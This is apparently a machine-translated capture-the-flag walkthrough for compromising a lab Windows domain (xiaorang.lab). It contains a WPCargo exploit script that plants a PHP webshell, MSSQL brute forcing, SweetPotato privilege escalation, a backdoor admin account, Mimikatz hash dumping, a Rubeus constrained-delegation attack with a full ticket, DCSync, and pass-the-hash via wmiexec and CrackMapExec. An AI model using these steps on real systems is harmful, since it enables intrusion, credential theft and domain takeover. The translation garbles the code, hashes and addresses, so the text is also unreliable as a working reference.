[+] NetInfo:

[*] 172.22.2.34

[ - ] client01

[ - ] 172.22.2.34

[*] webtitle:333333333333:200 len:4833 title:welcome to centos

[*] 172.22.2.16 Xiaorang \ MSSQLSERVER WINDOWS SERVER 2016 DATACENTER 14393

[*] 172.22.2.3 [+] DC Xiaorang \ dc Windows Server 2016 Datacenter 14393

[*] 172.22.2.18ワークグループ\ ubuntu-web02

[*] 172.22.2.3(Windows Server 2016 Datacenter 14393)

[+] FTP: //172.22.2.2.73360213360Anonymous

[-]パブ

[*] webtitle:333http://172.22.2.18 code:200 len:57738 title:

プロキシチェーンWPSCAN -URL http://172.22.2.18 1049983-20230307110402168-1038472832.png WPCargoプラグイン、関連する脆弱性の検索、および不正なRCEの脆弱性があることがわかります

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

1049983-20230307110402965-813650361.pngImport sys

binasciiをインポートします

リクエストをインポートします

#これは、ピクセルとして扱われ、PNGを使用して圧縮される魔法の弦です

#アルゴリズム、原因は?=$ _ get [1]($ _ post [2]); PNGファイルに書き込まれます

ペイロード='2F49CF97546FC24152B216712546F112E29152B1967226B6F5F50'

def encode_character_code(c: int):

return '{:08b}'。形式(c).replace( '0'、 'x')

text='' .join([encode_character_code(c)for c in binascii.unhexlify(payload)])[1:]

Destination_url='http://172.22.2.18/'

cmd='ls'

#1/11スケールで、 '1はシングルホワイトピクセルとしてエンコードされます' xはシングルブラックピクセルとして。

requests.get(

F '{Destination_url} wp-content/plugins/wpcargo/include/barcode.php?text={text} sizeFactor=.090909090909Size=1filepath=////www/html/webshell.php'

))

#ウェブシェルをアップロードしました - 次に、それを使用してコマンドを実行しましょう。

print(requests.post(

f '{Destination_url} webshell.php?1=system'、data={'2': cmd}

).content.decode( 'ascii'、 'agnore'))shellを生成します

http://172.22.2.18/webshell.php?1=システム

post:2=whoami 1049983-20230307110403759-1226503060.pngアリの剣に接続し、タイプに注意を払い、CMDlinuxを選択します(これは多くの時間を無駄にし、ツールに精通していません)

1049983-20230307110404544-1755873580.pngデータベースの構成と接続を表示します

1049983-20230307110405448-1709834423.png 2番目のフラグを見つけます

1049983-20230307110406190-537113638.png

3番目のフラグ

パスワードを保存するためのテーブル

1049983-20230307110407012-1016357418.png

mssqlserver rce

データベースに入ったばかりのパスワードテーブルを使用してMSSQLを爆破してパスワードを取得します

1049983-20230307110407761-264141218.png倍数を使用して接続します。database.utilization.toolsツール

最初にOLEオートメーション手順コンポーネントをアクティブにしてから、SweetPotato.exeをアップロードして権限を高め、システムの許可を取得します

1049983-20230307110408557-1385769716.pngC:/users/mssqlserver/desktop/sweetpotato.exe -a 'netstat -ano' 1049983-20230307110409338-1429948219.png発見3389はオープン、直接ユーザー、リモート接続を直接追加します

ネットユーザーdevyn admin123 /add

ネットローカルグループ管理者devyn /add1049983-20230307110410189-1297694899.pngリモート接続が成功しました

1049983-20230307110411000-98762776.png 3番目のフラグを取得します

1049983-20230307110411923-340307306.png

‍ 4番目のフラグ

ドメイン浸透

Mimikatzを使用して、ドメインユーザーのハッシュをクロールします

1049983-20230307110412739-899773243.pngドメインユーザーから取得したハッシュは78A2811AABD79D0DA3CEF84903CA3E6です。

制約付き委任攻撃

MSSQLServerマシンは、DC LDAPおよびCIFSサービスへのバインディング委任で構成されています

まず、Rubeusを介してMssqlServerのマシンアカウントMSSQLSERVERのTGTを申請します。実行後、Base64暗号化されたTGTチケットを取得します。

rubeus.exe asktgt /user:mssqlserver $ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:dc.xiaorang。 S4U2自己拡張ドメイン管理者管理者を表して、ドメインコントロールLDAPサービスのチケットをリクエストし、結果のチケットをメモリに渡す

rubeus.exe S4U /ImpersonateUser:ADMINISTRATOR /MSDSSPN:LDAP/DC.XIAORANG.LAB /DC:DC.XIAORANG.LAB /PTT /Ticket:Doifmjccbzagawibbaedagewooieqzccbkdhggsjmiien6adagefoq4bdfhjqu9squ5hlkxbqqihmb+gawibaqymbybbmtyynrndbsmeglh B3JHBMCUBGFIO4IEYZCCBF+GAWIBEQEDAGECOOIEUQBE3JOMEUPBK3C69YAGUYDCLGYHRYVJZG4ZXERWUSWVFS0KZ+4Q2UTCKGQYW3GLS5SF0/MJ0FHIL1V 8u5wrlpgr5hblyugn+g1zmv3uitxo7qobxh0lr0duukundpoxdpdx26liz5/xddfvz4xtymkdqqrxgbwqggjh1cp/woy4u4txjo+l8cfq424kgdb3n/rjyrn y54m8qhl/smhg3ppmgtt2feij5jag+qdpm/r/xuoijhnzsfcvi2xilgqpf374jubih99utzvlqroshz9qljzlbseaqen9ctu01tmnnn4acrz4mqmv1mmyv9scfe jnqbcpgds+zvesrt53dwfotrg00o4jq6rgr9dr/6zmkc1w/kfwsxdf1b/h3homm7hzk0qlfsbdtq8i1e2ffdz5kyovbbtae6iraizzk7scds4ro9rrsdl6bna V25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBU UQBZSA/6BBMANXVFKX1B8XVIT0RQ1I/PLKS9LKWTKYUHJD67Z6XDDRN7IWR0FSTYQGUVHPN391L02ZNUJRK5/7JYOYKWHQ3SB/XRZC4YGGIMMGRZ0FQRQ+ hrbqbtunr2/i4hgywdlubsevz5qb1kxcebrkwuchhpgktsdbyz30tnpa0w2qwu8qj8zkks04r2hj91lcpudabrjhjff/und+++fhcfylau0xzmur8ekua2lcv 0FEF2IGVIU38BCRVUJFGKH423FGPSR4XOM8/8LNWHU+KAAIGSWSER8UGR8UGR8JIDVJTMGF5SCFOQDM+KVJ5O0ZNETTUHJHCVMADLI1QTQ5WJQRIEA6U4D6BYSHI 43IPS6SO8HECSB/03FPOKR/SRUYVEALW3IAWAJTAPTW/SRZUELXEEMVG2AADTL1 QXNW04A04A04A04A04A04A04A04A04AMI3PXJVSYCJYVIDWAZTHGBQOM3FHLZ4ZPZP blfbkagxqr624yo5yiajbl9/dp4m7iauibo7kawcfka1iafkygdfgaxudab52dt72jw0/qpelp08rordlty8irpjkazhssguvyuky07lr+ck95mekfdnl8cw AKW0MB8F92N4G4OFWQBUJK/479LYMZBDG38IWHHV/MLIACHLHM5NAZAY0JXJ2CEQIVSAFLFM7GP23V55HJ/T+EKT0ZD3EIJNHUWBVVVVVVVVVVVVVVVVVVVVVVVVVVVVHYEVKKCFJZGRALLQXA ptmkhhgila+wtkvcxpqx6qx8b40pg9r1rr4zq9bupb4jnnqwhe5sigpurr02xv5fuiii9qc5 //buhxceoxi0tfasrbghayna/tlrvak drqqrpitm1en79jsnw6adh1curfjr ++ ps6zyx6yqk3dlj5piiy2oavlpipcn1zmbz+jgdowgdegawibakkbzwsbzh2bytcbxqcbwzcbwdcbvaabmgmgawibf6 esbbbaxglfzni5hheocpajfdneoq4bdfhjqu9squ5hlkxbqqqizmbegawibaaeqma4bde1tu1fmu0vsvkvsjkmhawuaqoeaakurga8ymdiymtymizm1q mergpmjaymjewmjimjiymznapxeydziwmjixmta0mtiymjmzwqgogwxysufpukfukfory5mqukpitafoamcaqkkhgdawgwzrcmj0z3qbdhhpyw9yw5nlmxhyg==1049983-20230307110414821-1062055162.png LDAPサービスには、ドメイン内のユーザーのハッシュをエクスポートするDCSYNC許可があります

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator' exit 1049983-20230307110415741-286475972.png

wmi水平

ドメイン管理のハッシュを取得した後、WMIサービスを介してドメインコントロールにログインできます。

Python wmiexec.py -hashes 00000000000000000000000000000000000000000000000000000033601A19251FBD935969832616366AE3FE62管理者@172.222.2.3 1049983-20230307110417054-2127057906.png 4番目の旗を入手する

1049983-20230307110417858-348981547.png

別の方法

ハッシュによってドメイン制御を直接取得できます。ここでは、CrackMapexecを使用してPTHを実行します

プロキシチェーンCrackmapexec SMB 172.22.2.3 -U Administrator -H1A19251FBD935969832616366666666666662 -D Xiaorang.lab -x 'タイプユーザー\管理者\ Administrator \ flag \ flag04.txt' https://zhuanlan.zhihu.com/p/581577873